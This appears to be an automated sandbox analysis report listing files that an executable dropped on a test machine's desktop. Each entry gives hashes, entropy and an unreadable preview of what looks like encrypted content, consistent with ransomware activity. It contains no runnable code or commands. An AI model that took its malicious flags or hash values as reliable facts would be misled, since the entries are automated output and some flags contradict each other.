SHA-512:	74E8FDAFD78118685CACC5C7702BCB9DA577831CB1CA4C10E460825E415320B6F6922C75485796A3CE7DF6B5D198EF26978D599710BB63314E113FE5C034FF61
Malicious:	false
Preview:	KATAX..O...e=..:..x.a.%(:.a...<u...]....O?`V..)...j..T....@...Ytr@:^.....h....OCC=..u~..A....".q..<050....g.....vt.R....`.l.#.&.rD....j......d...^[&..uk7'&.8...z...rP.\!v.....2.o.\|..8...>.....K.U.\|.k....>~....R\|....R8.+6;.........H.ofT.L&o.h<....-s...6.mJ...S...U.P..A...3>..YV.Z.N.t.J......#5VZ.}...y.N.d......Y.....S`..g...z.+...B..._y5..i%y.l.;i Ae.D.<.....7. <..7.FzW....p....../..V1..=....?s.....2.$;L...gs......&.L.D0.8.c....nMOoxG..]..1.%.W..lI'9..Z."Q8..l'.a.S...q..r{...v-U.g.x.:&W.aav6....J}Z.5K...Pd$.-K.I..........2.....#.5..b."t....K.n.{!~S._I..0Xj2eaOG........U}]..D....'jI.ly..ujc6.f.U..1&....sb...W._.........\|.r.A.O.tv. ..T.l.2y.$.7...P.m2..=..D. b.5..[..Q.U.`..NA4....m.4h..H..`.-....4*../........B.p..'..R`....@.qk..]1]o..T..m.N.g.&%...m.~...1....e..0;Z..o......Z.t4.{i.Q..Y4....-..S.P.5.u.j....^l%.B.z.t..qs._...].%H....H.W.7.....f42E.U..m..'.....~.....1..(..c-.).....%...).0Y$.f..,.r.m....OQ._./..P^..?.;.$u../...y)}3p..)....O0K..$.g.

C:\Users\user\Desktop\KZWFNRXYKI.png

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849847394706637
Encrypted:	false
SSDEEP:	24:vk8RW/h8cYl1HmvtZX+CR/TyVIwvn5VrMGuVGbxuzK2f8yFgTLJZ13C4sRzOMWW6:vVRWZlYl16tZX+Covnv4nGVgK4h6VbBH
MD5:	F7418021683B6C7DC853266E77437F8C
SHA1:	9A90BDA139382A89C4AB32B9FF0AECC254BBB53D
SHA-256:	972D2A93405118FA37835902902B1D3BC118177E3AB068A3C9DCB084B2108D3B
SHA-512:	B0309D2AD14DEFC9C5FBBB75A1A5485FDAEB94B62F7A5EAB37FF7475C66B4C99F084CC0A37EB11AD2330B0C8223D5412A02D6102C43C003586D52CBC2E71558A
Malicious:	false
Preview:	KZWFN.f.xq[.A.....f... ...\....U.....&KZ`.....d.a...Huf......C.cY.,..M.....1.n....l....Y.y){.R..1...2q..ZeC...Q...0...qi..p....C$...s...5.............s+._...D.nB~z...#...~.)..+..X:....R.R...z..zNHT..1.>.G1C.....^...7#.7..i3.I..u.`....Z.A..$5.....B...9n-r.S..P......#4<....n^...".....b"y.V.tEe0.y7.[..p.\|OG..{.U4r.%5..M..Rq[.x.ER.N....h.......RMm ,...G.F...Q...e....b..)Aw0.L....I$.....\|7-..W...H..K'.^...........9...H.B6..: gp.S.r..^@h...[f..Q....i....X.M.,v.'.n.."...3X.U.O........pX....{.... .\......j-...CkN.....}3..k.\|M..p1....).9.>.:[..jr.{.gFJ.....6..1p.k..G.W.>o.....\|%.....Zg(..[?;K..L.....T.q.......x..L.&...,..[.can9.,..E.Sp.E"o.].....,.........G=..Ao,].%..E7'.1.3z0O.m..rb.....qs..--.....0......H....j<..wq.{...R[...k.DS"2.ziq.al..A..a.q.&...1..+...T.M`.\|4+..5tq..MJ...g.kG..T....@.M$..1.D&..dK....v....1.4.3..O.?3.F.d....?TZ...n._......?.)..$.Z..c..<...S.hT.I..e(w..3. ..i...m?.8.TG(..Hz..9.<.Y...#7C=r.d.^@.c.}..V(...P.~..!4......E&.#.....U\.AB..

C:\Users\user\Desktop\KZWFNRXYKI.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849847394706637
Encrypted:	false
SSDEEP:	24:vk8RW/h8cYl1HmvtZX+CR/TyVIwvn5VrMGuVGbxuzK2f8yFgTLJZ13C4sRzOMWW6:vVRWZlYl16tZX+Covnv4nGVgK4h6VbBH
MD5:	F7418021683B6C7DC853266E77437F8C
SHA1:	9A90BDA139382A89C4AB32B9FF0AECC254BBB53D
SHA-256:	972D2A93405118FA37835902902B1D3BC118177E3AB068A3C9DCB084B2108D3B
SHA-512:	B0309D2AD14DEFC9C5FBBB75A1A5485FDAEB94B62F7A5EAB37FF7475C66B4C99F084CC0A37EB11AD2330B0C8223D5412A02D6102C43C003586D52CBC2E71558A
Malicious:	false
Preview:	KZWFN.f.xq[.A.....f... ...\....U.....&KZ`.....d.a...Huf......C.cY.,..M.....1.n....l....Y.y){.R..1...2q..ZeC...Q...0...qi..p....C$...s...5.............s+._...D.nB~z...#...~.)..+..X:....R.R...z..zNHT..1.>.G1C.....^...7#.7..i3.I..u.`....Z.A..$5.....B...9n-r.S..P......#4<....n^...".....b"y.V.tEe0.y7.[..p.\|OG..{.U4r.%5..M..Rq[.x.ER.N....h.......RMm ,...G.F...Q...e....b..)Aw0.L....I$.....\|7-..W...H..K'.^...........9...H.B6..: gp.S.r..^@h...[f..Q....i....X.M.,v.'.n.."...3X.U.O........pX....{.... .\......j-...CkN.....}3..k.\|M..p1....).9.>.:[..jr.{.gFJ.....6..1p.k..G.W.>o.....\|%.....Zg(..[?;K..L.....T.q.......x..L.&...,..[.can9.,..E.Sp.E"o.].....,.........G=..Ao,].%..E7'.1.3z0O.m..rb.....qs..--.....0......H....j<..wq.{...R[...k.DS"2.ziq.al..A..a.q.&...1..+...T.M`.\|4+..5tq..MJ...g.kG..T....@.M$..1.D&..dK....v....1.4.3..O.?3.F.d....?TZ...n._......?.)..$.Z..c..<...S.hT.I..e(w..3. ..i...m?.8.TG(..Hz..9.<.Y...#7C=r.d.^@.c.}..V(...P.~..!4......E&.#.....U\.AB..

C:\Users\user\Desktop\LTKMYBSEYZ.mp3

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841155600503895
Encrypted:	false
SSDEEP:	24:rTFJyhF0guRw6xTodUkUfXcESasldP6lqUBX3YmZdDAjvXU3zbD:dJ00g8wADcLawP6/N3YmZd3nD
MD5:	6CDCBAB35E99F8DBA7FAC3972A1A1074
SHA1:	41415D8A13FE404E3B7E7CB1A4C888217E453DBD
SHA-256:	90F329BA4911C22248B50DAEA74ECA675F340DFB3915A2AE7F68A635900B3892
SHA-512:	3ACE46A24872A67F1A265F3B6757EC060D890AFD1BB3ADC112AE9F50F1135DB6C5FA6AC835BADF5492E22570C7191B43C96E01C6E4F286E1A723C1C19D53FA9C
Malicious:	false
Preview:	LTKMY.?J~..lY.....9..t,...}.4..V.e...Z'<...'..[K..N...Gx..5.w.Z....5....[...........t..65.\|..<O~..}b...`..7..69pTx..qI...T.z3.../....HZhG@2....d..C./bi.....A}R.....}.r.....-..T....jIo...._t...X...P......9<....\.\|.g....O[..\.3...b..._..a7"......}.O.}..xS.l.i0'.y.ZoR~Mb;.o..U...uqRFL`J..6...&.!..mH....k.%.[V..Z.Z..9(..{........h........u...j.....G...=n....E.n.&.YY(..M..D......>n......b(....,.A......U..>.4._H...+H..`z.:O9..(.d.j7.$.../4J.S....s.YT.z.@..9\.g...\|...,)..9....;.......;J.........\|....2.~._5..X.lA..Wb.F....jz.o.=.4....Z...PZ.k................=(.>)NI.f.....p%..`...z{..m.......*. p.._..w).t.H..F.%;...@.$...f.gK..>......H.)t.3eGe=.?".V.....F...=/.%.B.>.IU...:Ic`...K%..\|..DS).x`.d...Pu?.I.../.n.....qH.......8......%..!#I[V9...l6.Nf.@..5.d.........;..P$.i[....@z..`I...;&d.D......y..Z.vL...s....?.Bt.\NX.[.g.Og.0.fh.`.pZ..Q..R)2.MI\.y.....\|....;...p.T...-55=......%.....f.x.......4X.../..JO.L?N ..5....;f45.U..{....2.n.3]G....B..A.2

C:\Users\user\Desktop\LTKMYBSEYZ.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841155600503895
Encrypted:	false
SSDEEP:	24:rTFJyhF0guRw6xTodUkUfXcESasldP6lqUBX3YmZdDAjvXU3zbD:dJ00g8wADcLawP6/N3YmZd3nD
MD5:	6CDCBAB35E99F8DBA7FAC3972A1A1074
SHA1:	41415D8A13FE404E3B7E7CB1A4C888217E453DBD
SHA-256:	90F329BA4911C22248B50DAEA74ECA675F340DFB3915A2AE7F68A635900B3892
SHA-512:	3ACE46A24872A67F1A265F3B6757EC060D890AFD1BB3ADC112AE9F50F1135DB6C5FA6AC835BADF5492E22570C7191B43C96E01C6E4F286E1A723C1C19D53FA9C
Malicious:	false
Preview:	LTKMY.?J~..lY.....9..t,...}.4..V.e...Z'<...'..[K..N...Gx..5.w.Z....5....[...........t..65.\|..<O~..}b...`..7..69pTx..qI...T.z3.../....HZhG@2....d..C./bi.....A}R.....}.r.....-..T....jIo...._t...X...P......9<....\.\|.g....O[..\.3...b..._..a7"......}.O.}..xS.l.i0'.y.ZoR~Mb;.o..U...uqRFL`J..6...&.!..mH....k.%.[V..Z.Z..9(..{........h........u...j.....G...=n....E.n.&.YY(..M..D......>n......b(....,.A......U..>.4._H...+H..`z.:O9..(.d.j7.$.../4J.S....s.YT.z.@..9\.g...\|...,)..9....;.......;J.........\|....2.~._5..X.lA..Wb.F....jz.o.=.4....Z...PZ.k................=(.>)NI.f.....p%..`...z{..m.......*. p.._..w).t.H..F.%;...@.$...f.gK..>......H.)t.3eGe=.?".V.....F...=/.%.B.>.IU...:Ic`...K%..\|..DS).x`.d...Pu?.I.../.n.....qH.......8......%..!#I[V9...l6.Nf.@..5.d.........;..P$.i[....@z..`I...;&d.D......y..Z.vL...s....?.Bt.\NX.[.g.Og.0.fh.`.pZ..Q..R)2.MI\.y.....\|....;...p.T...-55=......%.....f.x.......4X.../..JO.L?N ..5....;f45.U..{....2.n.3]G....B..A.2

C:\Users\user\Desktop\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839862545074373
Encrypted:	false
SSDEEP:	24:y6wE3LHxkP87jzFgimNH7YhuG2s8v/1fgBGvQXgVuOHYd0uOjpqPxHTxj6RZuLUi:0w+07vk18huGGVvQXgVmSu6opFRLUI3D
MD5:	4C2AE3E2220D9D1BF04259F36D5171D5
SHA1:	AE9D0498F567E05B450DDCC6B06CD3D7CE6A599B
SHA-256:	F4DC69AC1118BDD2E786E0A2ECF2D6B4466F30CF44A4982213E8EE990EDAB4C2
SHA-512:	9788D46F9C1D3485057D3A9DF3261D180D39BA2D5A1DFDB4682EEFCB37667251DC094B7232D00BE762CECBE6FFD48A302533906B8D9E9206F9C23928153A994A
Malicious:	false
Preview:	LTKMY.&q...S..{^.O...D\K.}.y...H.wA....u=..'\....Y.b".W....>.Z.8...3.~~h....... .+.._qk..nT.....$N.C =p.r}.n...`I..-.f.D.G..ot...vr.qfv...XG....r(. C..FI..MB.c.KFpW.z,t..jF...s.;..xf.d..{...T...S.S..C=.{.`=~m(...M..."..,....fr.8....3. ..J..b])....:.{.y...mr.A.K..q........5.5J..m..q..M...3U.gJ..7.Y1.i.uBH.(.N...FZHT;.....nH8...(..f.0.....H.z.c.+..l.y.0..........R.\pG.>M.zF.....J.. \W\|WFG..F42.....;..../...,g=U6..x....H/.....A.5....F....L....N.J.. .Z.......K...+.........ha..}Z..llIWP.......{......`...._6..E.U..dW........Y_.I.dy..\|.?.Ju[.D.H[HL..h.V ..{..n..~.V...s.5W&N.A....F.....sG..}\7.5...\|l..<X.D.n#.....g NB.N....Y.<......_....0.p.F..6..q.b.,.2[.`.. ..T...+..E..e._...*.j...!(......sq..j...Rh.0RSYBf..........t..:`.....p......U>U.lh...`..V...1.QA4..........~..3..>:.G....2.....]....-.5.b....hj...P\|..QA.n"...... .cE.M.{.7.U.FqK..7Y.!.YIU!.f..h......n.d].A....>W........y.....L.#F.X....fX......#...\|0X^.f..<w^..J.&....X.s]...

C:\Users\user\Desktop\LTKMYBSEYZ.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839862545074373
Encrypted:	false
SSDEEP:	24:y6wE3LHxkP87jzFgimNH7YhuG2s8v/1fgBGvQXgVuOHYd0uOjpqPxHTxj6RZuLUi:0w+07vk18huGGVvQXgVmSu6opFRLUI3D
MD5:	4C2AE3E2220D9D1BF04259F36D5171D5
SHA1:	AE9D0498F567E05B450DDCC6B06CD3D7CE6A599B
SHA-256:	F4DC69AC1118BDD2E786E0A2ECF2D6B4466F30CF44A4982213E8EE990EDAB4C2
SHA-512:	9788D46F9C1D3485057D3A9DF3261D180D39BA2D5A1DFDB4682EEFCB37667251DC094B7232D00BE762CECBE6FFD48A302533906B8D9E9206F9C23928153A994A
Malicious:	false
Preview:	LTKMY.&q...S..{^.O...D\K.}.y...H.wA....u=..'\....Y.b".W....>.Z.8...3.~~h....... .+.._qk..nT.....$N.C =p.r}.n...`I..-.f.D.G..ot...vr.qfv...XG....r(. C..FI..MB.c.KFpW.z,t..jF...s.;..xf.d..{...T...S.S..C=.{.`=~m(...M..."..,....fr.8....3. ..J..b])....:.{.y...mr.A.K..q........5.5J..m..q..M...3U.gJ..7.Y1.i.uBH.(.N...FZHT;.....nH8...(..f.0.....H.z.c.+..l.y.0..........R.\pG.>M.zF.....J.. \W\|WFG..F42.....;..../...,g=U6..x....H/.....A.5....F....L....N.J.. .Z.......K...+.........ha..}Z..llIWP.......{......`...._6..E.U..dW........Y_.I.dy..\|.?.Ju[.D.H[HL..h.V ..{..n..~.V...s.5W&N.A....F.....sG..}\7.5...\|l..<X.D.n#.....g NB.N....Y.<......_....0.p.F..6..q.b.,.2[.`.. ..T...+..E..e._...*.j...!(......sq..j...Rh.0RSYBf..........t..:`.....p......U>U.lh...`..V...1.QA4..........~..3..>:.G....2.....]....-.5.b....hj...P\|..QA.n"...... .cE.M.{.7.U.FqK..7Y.!.YIU!.f..h......n.d].A....>W........y.....L.#F.X....fX......#...\|0X^.f..<w^..J.&....X.s]...

C:\Users\user\Desktop\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837813650133181
Encrypted:	false
SSDEEP:	24:gLvLGSTD0YFGS5m3IptXN9K5wtDItOCCFRXcddGZC+3zbD:gLvqSTtt5tptN9KAbnfcdQZb3nD
MD5:	7E59967B9654C28A04CC02DBD17C10DB
SHA1:	E7A9CAEF827641D2ED95D81BA57334CB0D96DEEB
SHA-256:	B66E0507F80BA8B623A7D25D4B23348FD9AE2AAF99079EC1CFC967B1FDF5063D
SHA-512:	17916F58855352DBD13212B99AEC1384BCC2F8B74AB8E9D2C8C39942B854D5C056CE498C95FEC6AC30503CD9414D36E870003C76907A9FBBAC1F3344C6116EBE
Malicious:	false
Preview:	UMMBD...h$......_.;....y.%7`.....K.)..r.tgt.7...IZ\|..{.i.89'n)..l...+:d.D.....-..$.Z.Tw..8."...z.P.&K.^x<p?...i.=./...;f.%d.m....xr..)....<.`.p.4V....E.....5.G]//.W.CF$t...!g...v.K...<.+1[....xo.C.....R.$.....{..LV........e.XM.......L.`5@G...O..w.N.....K.^.vx`[i..{.~^...L.[..z..cx.........LF.....-..........h2i2......kw..x(l.....,.\....._.."..g...:.86.xF..........+[a] ..NO..&P..Ow.8...J.l9.(..O......z..^...I......!....\T...c.!.a.B.w..I.........Y.l.\|tQ.B.?D.!2*..2./.Ss....QqiR..O.=_W.%. ...}.[.\....m..D.M..c.....'.2..UvAn&f.-o.....l@.z{x..._>A..WF.%....J.....B.......R.g.1...c..i.<.....7(,.I-r..iK.8.;Y....g.@.Bq...+~.y{....Q....X...g.....i.^...Z..,?M 2..g.w.^a.T1...&rI...F.....(.dO...T...u....b&0...r.$..... .......5..N..........\.{j....<&A..&j.MVSSk...g<.+....A.p.=.4C6..c..k..#.NNm...6...x....`....-....$=.r..l..!5......s.-.%...i...x.]....m.d..#-..P0..W\..K..^...,..u.YS.9;).L.D..]........U^.8.a..y..L.U.2V.).S$)......!Ta'1&...q

C:\Users\user\Desktop\UMMBDNEQBN.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837813650133181
Encrypted:	false
SSDEEP:	24:gLvLGSTD0YFGS5m3IptXN9K5wtDItOCCFRXcddGZC+3zbD:gLvqSTtt5tptN9KAbnfcdQZb3nD
MD5:	7E59967B9654C28A04CC02DBD17C10DB
SHA1:	E7A9CAEF827641D2ED95D81BA57334CB0D96DEEB
SHA-256:	B66E0507F80BA8B623A7D25D4B23348FD9AE2AAF99079EC1CFC967B1FDF5063D
SHA-512:	17916F58855352DBD13212B99AEC1384BCC2F8B74AB8E9D2C8C39942B854D5C056CE498C95FEC6AC30503CD9414D36E870003C76907A9FBBAC1F3344C6116EBE
Malicious:	false
Preview:	UMMBD...h$......_.;....y.%7`.....K.)..r.tgt.7...IZ\|..{.i.89'n)..l...+:d.D.....-..$.Z.Tw..8."...z.P.&K.^x<p?...i.=./...;f.%d.m....xr..)....<.`.p.4V....E.....5.G]//.W.CF$t...!g...v.K...<.+1[....xo.C.....R.$.....{..LV........e.XM.......L.`5@G...O..w.N.....K.^.vx`[i..{.~^...L.[..z..cx.........LF.....-..........h2i2......kw..x(l.....,.\....._.."..g...:.86.xF..........+[a] ..NO..&P..Ow.8...J.l9.(..O......z..^...I......!....\T...c.!.a.B.w..I.........Y.l.\|tQ.B.?D.!2*..2./.Ss....QqiR..O.=_W.%. ...}.[.\....m..D.M..c.....'.2..UvAn&f.-o.....l@.z{x..._>A..WF.%....J.....B.......R.g.1...c..i.<.....7(,.I-r..iK.8.;Y....g.@.Bq...+~.y{....Q....X...g.....i.^...Z..,?M 2..g.w.^a.T1...&rI...F.....(.dO...T...u....b&0...r.$..... .......5..N..........\.{j....<&A..&j.MVSSk...g<.+....A.p.=.4C6..c..k..#.NNm...6...x....`....-....$=.r..l..!5......s.-.%...i...x.]....m.d..#-..P0..W\..K..^...,..u.YS.9;).L.D..]........U^.8.a..y..L.U.2V.).S$)......!Ta'1&...q

C:\Users\user\Desktop\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836384776431487
Encrypted:	false
SSDEEP:	24:HoCP7JE1X8ZAU7is4qrY8jF3sRRVseegmLWA5Iepsx1t/tnOezfpFl9dA0I3zbD:ICz6GuUGrIY1RKee5Rsx9nRPZI3nD
MD5:	216CDE295C4D83B9A50AA22E2E950CB3
SHA1:	5FB1F9389ABECDC7D9F2583810F562EC697713EB
SHA-256:	8245FF5F8D8EE6FD25005E00C2FD7731F6DFCAE416E413710DAACB8616EA2908
SHA-512:	71E903088B2B6EF80FBCEACA35906A17BD50D5639A32760B02FDAC101065CF711D5E63849BD5F79584F71B225FAB4EBEEA2E6C533991B117EEB66C64FA52EA4F
Malicious:	true
Preview:	UMMBD.=I...]P....b.4.......y..XD...(.:C~\|Y<..t.....'5.&.2...$.z..SW.3...g..[.O...6.F=......h.vi..P......e".....bi..E....7(A.K z....Zb..E.^M..w~%.M.>.e@Q..$ .LM..fQ..".=....9.,..`45.0....q.P....L..#X..m..4#N....3#..X.3z.0....;..u.1...u.......h..L2...y.Nt.u..m=..%'...R..R.JMw.X.$..@.j.....a....&....].s!...E.......@7.1..Q..Z.sC.X'qu..mqW..5.u.RN.&.^..Q.....%.&....&..u...57.Q..C.6..$.._.+.... ...%8dG1e....n0yXR..)..\|.)V1rR,'d.......m..gC....v.4.$.i..^...\|).1..f.....$.>....8....K."..1.6..(......$.(.....9O.C...=p..;.}3.[....6./..m.`..._.').2.s.k..I......!%..{;.a..6..d.+..o~.X...J..l8..z...n..X...."._>.......en~w'%#.z... ....v....=Xf~..6......O..Gb.....8.......=J.v.oM..!D..-.........E......H..1.~..Y.....Ol8i...6.{...^. .r.f.....45$.$....&.j....R..<....k..F...Y..L...kfY.@...C.>.6..rG....V.........$-.j..n...D.3.}.\|.R5.A.0.m.^Q.O?r._..E......#.q.._...i.M...4-.'o...ctG...s...w\|.7...#.5 \...rh........._Vr...."..!.....tG..,J]E.w

C:\Users\user\Desktop\UMMBDNEQBN.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836384776431487
Encrypted:	false
SSDEEP:	24:HoCP7JE1X8ZAU7is4qrY8jF3sRRVseegmLWA5Iepsx1t/tnOezfpFl9dA0I3zbD:ICz6GuUGrIY1RKee5Rsx9nRPZI3nD
MD5:	216CDE295C4D83B9A50AA22E2E950CB3
SHA1:	5FB1F9389ABECDC7D9F2583810F562EC697713EB
SHA-256:	8245FF5F8D8EE6FD25005E00C2FD7731F6DFCAE416E413710DAACB8616EA2908
SHA-512:	71E903088B2B6EF80FBCEACA35906A17BD50D5639A32760B02FDAC101065CF711D5E63849BD5F79584F71B225FAB4EBEEA2E6C533991B117EEB66C64FA52EA4F
Malicious:	false
Preview:	UMMBD.=I...]P....b.4.......y..XD...(.:C~\|Y<..t.....'5.&.2...$.z..SW.3...g..[.O...6.F=......h.vi..P......e".....bi..E....7(A.K z....Zb..E.^M..w~%.M.>.e@Q..$ .LM..fQ..".=....9.,..`45.0....q.P....L..#X..m..4#N....3#..X.3z.0....;..u.1...u.......h..L2...y.Nt.u..m=..%'...R..R.JMw.X.$..@.j.....a....&....].s!...E.......@7.1..Q..Z.sC.X'qu..mqW..5.u.RN.&.^..Q.....%.&....&..u...57.Q..C.6..$.._.+.... ...%8dG1e....n0yXR..)..\|.)V1rR,'d.......m..gC....v.4.$.i..^...\|).1..f.....$.>....8....K."..1.6..(......$.(.....9O.C...=p..;.}3.[....6./..m.`..._.').2.s.k..I......!%..{;.a..6..d.+..o~.X...J..l8..z...n..X...."._>.......en~w'%#.z... ....v....=Xf~..6......O..Gb.....8.......=J.v.oM..!D..-.........E......H..1.~..Y.....Ol8i...6.{...^. .r.f.....45$.$....&.j....R..<....k..F...Y..L...kfY.@...C.>.6..rG....V.........$-.j..n...D.3.}.\|.R5.A.0.m.^Q.O?r._..E......#.q.._...i.M...4-.'o...ctG...s...w\|.7...#.5 \...rh........._Vr...."..!.....tG..,J]E.w

C:\Users\user\Desktop\UMMBDNEQBN\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8562767154885655
Encrypted:	false
SSDEEP:	24:k3RKX76w1Z490+PIEauKgWvbdpINllqQf5YJ0ZUJyscEcPzLXwZofvg3zbD:+KLdWWSIECDdQfSJUUJJc7gmo3nD
MD5:	3B55BD47B9C0ED81D24149934E3EBD71
SHA1:	2D442492D8A8C643FD5C6AEAF49C5D9220A23F74
SHA-256:	7C54B7941BDC72537E78B1F312C40416E50F7861D253EA8431159FA847CECDF2
SHA-512:	74314C3FEAF483ECEC659DB66368F2141286C2C1CBA93A3949C37CFE66AC3051018BB4DF49A027BA1744CEFD2816A770471DAFF15BD50D1DFDD22D77A431A2E3
Malicious:	false
Preview:	HTAGV.o...]<..}.c..]...\..t>Y.#...>&..a..8.\|%......Mt..\..?d..{..Gf._.,....b..qWs.Lyj.U"D.9(.X...H..{..<......eV...Q...{....(.....}n..8V....U.f.=...di.9....C..=..G0.Bx...C.cY<J\|A.8...\|.cS+<d.....<....[dQ....H..+P....:OX.A.......j.N*....l...y...9..V...8.X..{r.&.]...>u.';X.{..4.^M.^W..aa.!...6.l.5."......<.}......h#..\|=....=......G.....a.b..M.....F;3.^....U(..(.B..g...BLruY...9O...._b...fC1..L9...2..L.(..)....P..A.....!.k.............W..:.p1.8e.].Ni....A..\...Cm.$.Q>...`'.ju...8.m.........9.Y9d....R....<.....].B(..u...w....w..ieO...%.....D).4"Ju.C.f.T..af.uC..44K&...... _g.[....?#?Bv.....N)....kV.=...~.i..l...].\|...Ti>g.B.I}8\|.y{.i....O?y.6^..7.6...>.axW.....,^......0..a.>....hZ...D..K....:O.af...:Y.)....R.m....=...;S^.D/...9.8..(...tK%..W=....l....]..]...Mh..RF.Rw......p.6.7..@..K..7)wd........k.W#?..#.o.....<..K..`..p...;.?jU..R....NI..eu.^{.c.......M4...E...4U.2.F.>A#Ki.J.A.C.B..].....J..vRj...94!5..A..(K..U.<.m,...%..v.o..m.4....n..%.S.p..

C:\Users\user\Desktop\UMMBDNEQBN\HTAGVDFUIE.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8562767154885655
Encrypted:	false
SSDEEP:	24:k3RKX76w1Z490+PIEauKgWvbdpINllqQf5YJ0ZUJyscEcPzLXwZofvg3zbD:+KLdWWSIECDdQfSJUUJJc7gmo3nD
MD5:	3B55BD47B9C0ED81D24149934E3EBD71
SHA1:	2D442492D8A8C643FD5C6AEAF49C5D9220A23F74
SHA-256:	7C54B7941BDC72537E78B1F312C40416E50F7861D253EA8431159FA847CECDF2
SHA-512:	74314C3FEAF483ECEC659DB66368F2141286C2C1CBA93A3949C37CFE66AC3051018BB4DF49A027BA1744CEFD2816A770471DAFF15BD50D1DFDD22D77A431A2E3
Malicious:	false
Preview:	HTAGV.o...]<..}.c..]...\..t>Y.#...>&..a..8.\|%......Mt..\..?d..{..Gf._.,....b..qWs.Lyj.U"D.9(.X...H..{..<......eV...Q...{....(.....}n..8V....U.f.=...di.9....C..=..G0.Bx...C.cY<J\|A.8...\|.cS+<d.....<....[dQ....H..+P....:OX.A.......j.N*....l...y...9..V...8.X..{r.&.]...>u.';X.{..4.^M.^W..aa.!...6.l.5."......<.}......h#..\|=....=......G.....a.b..M.....F;3.^....U(..(.B..g...BLruY...9O...._b...fC1..L9...2..L.(..)....P..A.....!.k.............W..:.p1.8e.].Ni....A..\...Cm.$.Q>...`'.ju...8.m.........9.Y9d....R....<.....].B(..u...w....w..ieO...%.....D).4"Ju.C.f.T..af.uC..44K&...... _g.[....?#?Bv.....N)....kV.=...~.i..l...].\|...Ti>g.B.I}8\|.y{.i....O?y.6^..7.6...>.axW.....,^......0..a.>....hZ...D..K....:O.af...:Y.)....R.m....=...;S^.D/...9.8..(...tK%..W=....l....]..]...Mh..RF.Rw......p.6.7..@..K..7)wd........k.W#?..#.o.....<..K..`..p...;.?jU..R....NI..eu.^{.c.......M4...E...4U.2.F.>A#Ki.J.A.C.B..].....J..vRj...94!5..A..(K..U.<.m,...%..v.o..m.4....n..%.S.p..

C:\Users\user\Desktop\UMMBDNEQBN\KZWFNRXYKI.png

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854060633381615
Encrypted:	false
SSDEEP:	24:c3zm1YYpxqOAWt8iIN1ogPTLmn6GI2Ke3MYdVOydaFGBS8CJjyxKZ1I3zbD:yECOrt8xosLS6Hre8YDLdaFb84wM1I3D
MD5:	90D8BE6BB96FE820C8E2CDE2C5F8C92E
SHA1:	3FA0EDDAB6C79F7DA02CC5CB2D35438D024199CC
SHA-256:	A0B1CCED1DF4E63677B08618506D18AFB0EAAF7D74D61F2A45ABC351D3CE1F7A
SHA-512:	9E2CCB5708D7EB992C58B0890271480616457A4CE7261A7075EE8EEFECFE789C964F2D22005553C5B2AD046918F3611293378EBFDC9B518175E9421C66E8D037
Malicious:	false
Preview:	KZWFN...............Q.......7+........N.A>..t....,.iAa.._.<.U.\|y...<..$.Ku.Co....4x...(.a.T....._..He.N....{.z./g....yKl......J..h2...[!..D.....WC.N[P..g..k.f.J.r ..g.A[.;.........!.....Ej....<..E"3..v.,.{..$....)e..o?..7......L.r.?.e....l).R.71-..`.`.J~.R0..Ng..z;i ..n{.[x..;.O..R...G%.\,8Ku.cWC.G+Yz<...9u..wi....!...f.duigD.c.&..C.....Q ...@...Q...@.W.Hz..?Z...r....p......y.`.3...^:......:?/,.X.....d..].........N?.%rQ.....Y~?YXHq...8fw.B..OJ..n.gr......hX...........I......d.$..h.....5......&N..`y.....lQ&......Gl#:.....I.#Q.0.....7.o.u.....u}v.......'w6....2R......yb.TI...{`.l.]....?.......`!?..=...~>pk.MWm.AH.!h.....^3o8...D.W~.~...........&.Mt._.e..}...u...r%^...?.....!WH..I{P....CGR9..-....{.Q. 